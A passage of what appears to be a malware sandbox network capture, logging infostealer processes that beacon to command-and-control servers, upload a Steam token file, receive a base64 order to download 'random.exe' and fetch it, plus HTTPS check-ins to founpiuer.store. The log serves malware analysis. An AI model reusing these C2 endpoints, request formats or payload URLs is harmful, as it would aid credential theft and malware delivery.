Nov 5, 2024 10:14:04.281193018 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHI Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 2d 2d 0d 0a Data Ascii: ------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="message"files------FBFIDBFHDBGIDHJJEGHI--
Nov 5, 2024 10:14:05.214395046 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:14:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50116	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:14:05.240462065 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file"------CGCFCFBKFCFCBGDGIEGH--
Nov 5, 2024 10:14:06.656955004 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:14:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50124	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:14:06.725378990 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIID Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="message"ybncbhylepme------DHIJDHIDBGHJKECBFIID--
Nov 5, 2024 10:14:07.643161058 CET	272	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:14:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50130	185.215.113.16	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:14:07.652765989 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 5, 2024 10:14:08.550374985 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 09:14:08 GMT Content-Type: application/octet-stream Content-Length: 3245056 Last-Modified: Tue, 05 Nov 2024 08:48:24 GMT Connection: keep-alive ETag: "6729dbd8-318400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@1Hc2@Wk,x1w1 @.rsrc@.idata @paflvhti**@ykjvsrqi1^1@.taggant01"b1@
Nov 5, 2024 10:14:08.550471067 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 10:14:08.550481081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 10:14:08.550491095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 10:14:08.550508022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 10:14:08.550518036 CET	436	IN	Data Raw: f9 d3 47 42 0f 50 46 6a 48 50 8b be f7 89 1b c2 7f 93 02 6a e8 43 2e 20 a3 0f 68 d8 a0 17 e0 7a f6 d3 47 42 2f 50 46 6a 48 50 8b be f7 89 4b c2 3f 93 02 6a e8 7b 2e 20 a3 0f 88 d9 a0 17 e0 da f6 d3 47 42 4f 50 46 6a 48 50 8b be f7 89 4b c2 0f 93 Data Ascii: GBPFjHPjC. hzGB/PFjHPK?j{. GBOPFjHPKj GBoPFjHPj( GBPFjHP3j GBQFjHPOj# ZGBQFjHPOj (:GBQFjHPCo
Nov 5, 2024 10:14:08.550529957 CET	1236	IN	Data Raw: e8 a3 28 20 a3 0f 08 de a0 17 e0 5a f3 d3 47 42 cf 56 46 6a 48 50 8b be f7 89 43 c2 57 92 02 6a e8 5b 17 20 a3 0f 28 de a0 17 e0 3a f3 d3 47 42 ef 56 46 6a 48 50 8b be f7 89 43 c2 2f 92 02 6a e8 33 28 20 a3 0f 48 de a0 17 e0 9a f3 d3 47 42 0f 56 Data Ascii: ( ZGBVFjHPCWj[ (:GBVFjHPC/j3( HGBVFjHPC'j hzGB/VFjHPC?j GBOVFjHPC7j GBoVFjHPCj3 GBVFjHPCjs- GBWF
Nov 5, 2024 10:14:08.550539017 CET	212	IN	Data Raw: 48 50 8b be f7 89 33 c2 6f 6c 02 6a e8 2b 28 20 a3 0f e8 c3 a0 17 e0 fa c5 d3 47 42 af 5b 46 6a 48 50 8b be f7 89 4f c2 77 6c 02 6a e8 77 11 20 a3 0f 08 c3 a0 17 e0 5a c2 d3 47 42 cf 5b 46 6a 48 50 8b be f7 89 33 c2 4b 6c 02 6a e8 4b 13 20 a3 0f Data Ascii: HP3olj+( GB[FjHPOwljw ZGB[FjHP3KljK (:GB[FjHP7Slj- HGB[FjHPC?lj* hzGB/[FjHP?7lj( GBO[FjHP7ljC+
Nov 5, 2024 10:14:08.550621033 CET	1236	IN	Data Raw: a0 17 e0 ba c3 d3 47 42 6f 5b 46 6a 48 50 8b be f7 89 4f c2 e7 6c 02 6a e8 3b 29 20 a3 0f c8 c0 a0 17 e0 1a c0 d3 47 42 8f 5b 46 6a 48 50 8b be f7 89 4f c2 fb 6c 02 6a e8 83 17 20 a3 0f e8 c0 a0 17 e0 fa c0 d3 47 42 af 58 46 6a 48 50 8b be f7 89 Data Ascii: GBo[FjHPOlj;) GB[FjHPOlj GBXFjHPOlj ZGBXFjHP7lj( (:GBXFjHP7lj HGBXFjHPCoj hzGB/XFjHPCoj GBOXFjHP
Nov 5, 2024 10:14:08.550632954 CET	1236	IN	Data Raw: b3 6b 02 6a e8 73 14 20 a3 0f 88 c5 a0 17 e0 da d2 d3 47 42 4f 5c 46 6a 48 50 8b be f7 89 4b c2 6f 6b 02 6a e8 0b 2a 20 a3 0f a8 c5 a0 17 e0 ba d2 d3 47 42 6f 5c 46 6a 48 50 8b be f7 89 4b c2 7f 6b 02 6a e8 c3 16 20 a3 0f c8 c5 a0 17 e0 1a d3 d3 Data Ascii: kjs GBO\FjHPKokj* GBo\FjHPKkj GB\FjHPOOkj+ GB]FjHP3Ckjs ZGB]FjHP+kjs* (:GB]FjHPCkj+. HGB]FjHP?kj hzG
Nov 5, 2024 10:14:08.555671930 CET	1236	IN	Data Raw: ff ef cc a0 45 ba 85 66 a3 e4 f0 aa 36 56 e1 7b cd d6 43 a3 60 13 08 e5 7c 17 81 65 2f ed 02 6a fe 2b 8b be f7 2b 8b be f7 a6 6f 44 31 16 58 cd fe 2b 8b be f7 2b 8b be f7 a2 cc 5e 4a 14 d2 62 36 06 f1 42 b8 66 46 6a 3e 53 4f ff fd b5 fa a4 bf 17 Data Ascii: Ef6V{C`\|e/j++oD1X++^Jb6BfFj>SO+^Jhb0]qceof0XE+++^Vr8GXjvG!jX\|!Xjo0X+++^?KtoXj4S51g+^JhVzJW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50136	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:14:10.679080009 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJKEHJJDAAKFHIDAKFH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 2d 2d 0d 0a Data Ascii: ------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIJKEHJJDAAKFHIDAKFH--
Nov 5, 2024 10:14:12.074842930 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:14:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50137	185.215.113.206	80	8096	C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:14:16.031433105 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 10:14:16.932171106 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:14:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 10:14:16.934820890 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 41 46 41 35 33 42 33 35 33 38 31 38 30 36 39 37 30 37 35 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="hwid"1FAFA53B35381806970752------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="build"tale------EHCAEGDHJKFHJKFIJKJE--
Nov 5, 2024 10:14:17.213205099 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:14:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.5.155	443	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:12:59 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: founpiuer.store
2024-11-05 09:12:59 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-05 09:12:59 UTC	556	IN	HTTP/1.1 403 Forbidden Date: Tue, 05 Nov 2024 09:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cMKbTHc4gm%2FQaKmRbVEIohg37pqh65nqJ5g92s2VRkPdxf3Ijaum7l%2B5kJCr2OaZidKBK%2FUdJUlClNcD2G%2BhbD7GRBliS1FKpVERPzzUDVA8V5vspvJU0xpB37Uq2pdEsxw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddbb9aa7c174869-DFW
2024-11-05 09:12:59 UTC	813	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-11-05 09:12:59 UTC	1369	IN	Data Raw: 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 Data Ascii: yles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById(
2024-11-05 09:12:59 UTC	1369	IN	Data Raw: 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: nagement/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <
2024-11-05 09:12:59 UTC	893	IN	Data Raw: 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 Data Ascii: an> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" i
2024-11-05 09:12:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.5.155	443	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:00 UTC	352	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=Ad1twZF74K.8uci5JLNCs3ar1E4QIMh2qJpcEcd8nfE-1730797979-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: founpiuer.store
2024-11-05 09:13:00 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
